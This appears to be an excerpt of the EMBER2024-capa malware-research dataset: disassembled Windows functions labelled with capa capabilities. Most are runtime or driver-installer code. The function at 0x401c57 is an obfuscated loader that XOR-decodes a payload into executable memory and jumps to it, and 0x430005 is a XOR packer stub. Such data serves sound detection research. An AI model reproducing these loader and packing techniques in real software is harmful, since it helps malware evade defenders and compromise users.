joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4102f1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x417a88
cmp edx, dword [eax]
je 0x410313
add eax, 8
inc ecx
cmp eax, 0x417b18
jl 0x410304
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x417a88]
jne 0x410441
mov eax, dword [0x4188cc]
cmp eax, 1
je 0x41041b
test eax, eax
jne 0x410344
cmp dword [0x417904], 1
je 0x41041b
cmp edx, 0xfc
je 0x410441
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41037b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00411a20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00410ee0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4103be
lea eax, [ebp - 0x1a4]
push eax
call fcn.00410ee0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x416d7c
push edi
call fcn.0040cae0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00411a20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00411a30
lea eax, [ebp - 0xa0]
push 0x4147b0
push eax
call fcn.00411a30
push dword [esi + 0x417a8c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00411a30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00412637
add esp, 0x2c
pop edi
jmp 0x410441
lea eax, [ebp + 8]
lea esi, [esi + 0x417a8c]
push 0
push eax
push dword [esi]
call fcn.00410ee0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x401c66
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x1d434ccb
sub dword [ebp - 0x48], 0xcef10780
mov dword [ebp - 0x44], 0x50bbb4a7
sub dword [ebp - 0x44], 0x1e886862
mov dword [ebp - 0x40], 0x284f5e11
add dword [ebp - 0x40], 0x23fce61d
mov dword [ebp - 0x3c], 0xfb50ff5f
sub dword [ebp - 0x3c], 0xfb50ff5f
lea eax, [ebp - 0x48]
push eax
mov eax, 0x7438e3d
sub eax, 0x7035de9
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xf7cc809d
sub dword [ebp - 0x48], 0x835a1747
mov dword [ebp - 0x44], 0xde8dafa1
add dword [ebp - 0x44], 0x62deb1d4
mov dword [ebp - 0x40], 0x34671076
sub dword [ebp - 0x40], 0xd0f7a40a
mov dword [ebp - 0x3c], 0xf24cc735
add dword [ebp - 0x3c], 0xdb338cb
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xadcd44a6
add eax, 0x5272eb86
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34ace
push 0
call eax
mov ecx, 0x50ee02a9
add ecx, 0xaf123e1e
mov esi, eax
mov edx, 0xbd13c753
add edx, 0x432ca8ad
add edx, dword [ebp - 0x38]
mov edi, 0xa174a914
add dword [ebp - 0x10], 0x411ba225
mov ebx, dword [edx]
add dword [ebp - 0x20], 0xe4cc6d6b
xor ebx, edi
sub dword [ebp - 8], 0x5bbcec8c
mov dword [esi], ebx
add esi, 0x30ba81ee
add esi, 0xcf457e16
add edx, 4
loop 0x401d7d
add eax, 0xf5ef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2ea37753
add ecx, 0xd19c88ad
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x402940
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xe70
mov eax, dword [0x408008]
xor eax, esp
mov dword [esp + 0xe6c], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0xe88]
push 0x40
lea eax, [esp + 0x24]
push 0
push eax
mov dword [esp + 0x28], 0
call fcn.00402b00
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
xor eax, eax
push 0x401184
lea ecx, [esp + 0x26c]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x401180
lea edx, [esp + 0x26c]
push edx
call esi
push 0x401158
lea eax, [esp + 0x64]
push eax
call ebx
push 0x401184
lea ecx, [esp + 0x64]
push ecx
call esi
push 0x401180
lea edx, [esp + 0x64]
push edx
call esi
push 0x208
lea eax, [esp + 0x474]
push 0
push eax
call fcn.00402b00
add esp, 0xc
push 0x103
lea ecx, [esp + 0x474]
push ecx
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [esp + 0x470]
push edx
lea eax, [esp + 0x26c]
push eax
call esi
lea ecx, [esp + 0x470]
push ecx
lea edx, [esp + 0x64]
push edx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x288]
push edx
push 0
call esi
test eax, eax
jne 0x402abf
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x80]
push edx
push 0
call esi
test eax, eax
jne 0x402abf
push eax
push 0x400
lea eax, [esp + 0x680]
push eax
push 0x400
push 2
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0x10
push 0x401184
lea ecx, [esp + 0x680]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
jmp 0x402ad5
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
xor eax, eax
mov ecx, dword [esp + 0xe78]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402aef
add esp, 0xe70
ret 0x10

Function at 0x402aef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408008]
jne 0x402af9
repz ret
jmp fcn.00402d1a
Function at 0x404cdb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403c35
and dword [ebp - 0x14], 0
cmp dword [0x409744], 0
mov dword [ebp - 0x18], eax
jne 0x404d8e
push 0x401d10
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404e36
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401d04
push ebx
call edi
test eax, eax
je 0x404e36
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x401cf4
push ebx
mov dword [0x409744], eax
call edi
push eax
call esi
push 0x401ce0
push ebx
mov dword [0x409748], eax
call edi
push eax
call esi
push 0x401cc4
push ebx
mov dword [0x40974c], eax
call edi
push eax
call esi
mov dword [0x409754], eax
test eax, eax
je 0x404d8e
push 0x401cac
push ebx
call edi
push eax
call esi
mov dword [0x409750], eax
mov eax, dword [0x409750]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404de7
cmp dword [0x409754], ecx
je 0x404de7
push eax
call esi
push dword [0x409754]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404de7
test ebx, ebx
je 0x404de7
call edi
test eax, eax
je 0x404dde
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x404dde
test byte [ebp - 8], 1
jne 0x404de7
or dword [ebp + 0x10], 0x200000
jmp 0x404e1a
mov eax, dword [0x409748]
cmp eax, dword [ebp - 0x18]
je 0x404e1a
push eax
call esi
test eax, eax
je 0x404e1a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x404e1a
mov eax, dword [0x40974c]
cmp eax, dword [ebp - 0x18]
je 0x404e1a
push eax
call esi
test eax, eax
je 0x404e1a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x409744]
call esi
test eax, eax
je 0x404e36
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404e38
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402aef
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..data
nop
mov ebx, 0x408f6c
nop
mov ecx, 0xca64237
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x2e664b67
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40102a
xor eax, eax
jmp 0x401030
mov eax, dword [ebp - 4]
and eax, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401040
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [ebp - 0x24]
cmp eax, 9
je 0x401078
movzx ecx, word [ebp - 0x24]
cmp ecx, 6
je 0x401078
mov dword [ebp - 0x68], 0
jmp 0x40107f
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x68]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Create thread
Delete file
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
mov dword [ebp - 0x20], 0x5eba30
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00401e40
add esp, 8
push 0x5eb200
call fcn.00401900
add esp, 4
push 0x5eb20c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
push 0x401830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
push 0x402140
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401148
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40111e
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4013a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00403d90
add esp, 0xc
mov dword [ebp - 0x44], 0x44
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0x8000020
push 1
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401414
push str.Create_the_child_process_failed._n
call fcn.00401160
add esp, 4
or eax, 0xffffffff
jmp 0x401436
push 0xffffffffffffffff
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4014e0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x5ea940]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
mov eax, dword [str.Auto_eject]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x419424]
mov dword [ebp - 0x104], ecx
mov dx, word [0x419428]
mov word [ebp - 0x100], dx
mov al, byte [0x41942a]
mov byte [ebp - 0xfe], al
push 0xf9
push 0
lea eax, [ebp - 0xfd]
push eax
call fcn.00403d90
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x214]
push eax
call fcn.00403d90
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x318
push eax
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x41942c
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x4015b7
push str.Open_sc_manager_failed_n
call fcn.00401160
add esp, 4
or eax, 0xffffffff
jmp 0x40164d
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x10
push 0x10
push str.ZTOPMICRO_9101DV20_auto_eject
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x40160a
push str.Create_sc_service_failed_n
call fcn.00401160
add esp, 4
or eax, 0xffffffff
jmp 0x40164d
push 0
push 0
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401631
push str.Service_start_failed__n
call fcn.00401160
add esp, 4
or eax, 0xffffffff
jmp 0x40164d
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040321a
mov esp, ebp
pop ebp
ret
Function at 0x401660
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d8
mov eax, dword [0x5ea940]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x5ed00d
call fcn.004031e8
mov dword [ebp - 8], 0x419284
push 0x104
push 0
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d90
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.00403d90
add esp, 0xc
mov dword [ebp - 0x358], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x419288
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x350]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xffffffff
jne 0x401715
push str.No_files_found._n
call fcn.00401160
add esp, 4
jmp 0x40181b
cmp dword [ebp - 0x358], 0
jne 0x4017e8
mov eax, 1
imul ecx, eax, 0
movsx edx, byte [ebp + ecx - 0x324]
mov eax, 1
imul ecx, eax, 0
mov eax, dword [ebp - 8]
movsx ecx, byte [eax + ecx]
cmp edx, ecx
je 0x4017a5
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4192a4
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x350]
and eax, 0x10
je 0x401798
lea eax, [ebp - 0x210]
push eax
call fcn.00401660
add esp, 4
jmp 0x4017a5
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x350]
push eax
mov ecx, dword [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4017e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x4017d4
mov dword [ebp - 0x358], 1
jmp 0x4017e3
push str.Couldnt_find_next_file._n
call fcn.00401160
add esp, 4
jmp 0x40181b
jmp 0x401715
mov eax, dword [ebp - 0x354]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40181b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp + 8]
push eax
push str.delete_directory_path_s_error_d_n
call fcn.00401160
add esp, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040321a
mov esp, ebp
pop ebp
ret
Function at 0x4022b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov eax, dword [0x5ea940]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x5ed029
call fcn.004031e8
mov dword [ebp - 8], str.version
mov dword [ebp - 0xc], str.usbwifi_ndis
mov dword [ebp - 0x10], str.zt9101d_drv
mov dword [ebp - 0x14], str.inf_
push 0x100
push 0
lea eax, [ebp - 0x114]
push eax
call fcn.00403d90
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov word [ebp - 0x118], ax
mov byte [ebp - 0x116], al
push 0x100
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.00403d90
add esp, 0xc
mov dword [ebp - 0x22c], 0
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x228], 0
jmp 0x402381
mov eax, dword [ebp - 0x228]
add eax, 1
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x258
jge 0x40242a
mov eax, dword [ebp - 0x228]
push eax
push str.oem_d.inf
lea ecx, [ebp - 0x124]
push ecx
call fcn.00401490
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x224]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004026f0
add esp, 0xc
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x402425
push 0
push 1
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupUninstallOEMInfA]
test eax, eax
je 0x402423
mov eax, dword [ebp - 0x228]
push eax
push str.Uninstall_usbwifi_ndis:_d_n
call fcn.00401160
add esp, 8
jmp 0x40242a
jmp 0x402372
mov dword [ebp - 0x228], 0
jmp 0x402445
mov eax, dword [ebp - 0x228]
add eax, 1
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x258
jge 0x4024ee
mov eax, dword [ebp - 0x228]
push eax
push str.oem_d.inf
lea ecx, [ebp - 0x124]
push ecx
call fcn.00401490
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x224]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004026f0
add esp, 0xc
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x4024e9
push 0
push 1
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupUninstallOEMInfA]
test eax, eax
je 0x4024e7
mov eax, dword [ebp - 0x228]
push eax
push str.Uninstall_zt9101d_drv:_d_n
call fcn.00401160
add esp, 8
jmp 0x4024ee
jmp 0x402436
push str.Previous_version_are_deleted_n
call fcn.00401160
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040321a
mov esp, ebp
pop ebp
ret
Function at 0x402890
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x5ea940]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x5ed029
call fcn.004031e8
push 0x9c
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.00403d90
add esp, 0xc
xor eax, eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x402937
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.get_system_version_failed__error_x_n
call fcn.00401160
add esp, 8
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [ebp - 0xc4]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
push str.major_x__minor_x__arch_d_n
call fcn.00401160
add esp, 0x10
cmp dword [ebp - 0x9c], 6
jbe 0x4029af
movzx eax, word [ebp - 0xc4]
cmp eax, 9
je 0x402994
movzx eax, word [ebp - 0xc4]
cmp eax, 6
je 0x402994
movzx eax, word [ebp - 0xc4]
cmp eax, 7
jne 0x4029a0
mov eax, 6
jmp 0x402a8e
mov eax, 5
jmp 0x402a8e
cmp dword [ebp - 0x9c], 6
jne 0x402a31
cmp dword [ebp - 0x98], 1
jbe 0x4029fb
movzx eax, word [ebp - 0xc4]
cmp eax, 9
je 0x4029e5
movzx eax, word [ebp - 0xc4]
cmp eax, 6
je 0x4029e5
movzx eax, word [ebp - 0xc4]
cmp eax, 7
jne 0x4029f1
mov eax, 4
jmp 0x402a8e
mov eax, 3
jmp 0x402a8e
movzx eax, word [ebp - 0xc4]
cmp eax, 9
je 0x402a1f
movzx eax, word [ebp - 0xc4]
cmp eax, 6
je 0x402a1f
movzx eax, word [ebp - 0xc4]
cmp eax, 7
jne 0x402a28
mov eax, 4
jmp 0x402a8e
mov eax, 3
jmp 0x402a8e
cmp dword [ebp - 0x9c], 5
jne 0x402a70
movzx eax, word [ebp - 0xc4]
cmp eax, 9
je 0x402a5e
movzx eax, word [ebp - 0xc4]
cmp eax, 6
je 0x402a5e
movzx eax, word [ebp - 0xc4]
cmp eax, 7
jne 0x402a67
mov eax, 2
jmp 0x402a8e
mov eax, 1
jmp 0x402a8e
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
push str.system_version_is_not_support__ver_d._d
call fcn.00401160
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040321a
mov esp, ebp
pop ebp
ret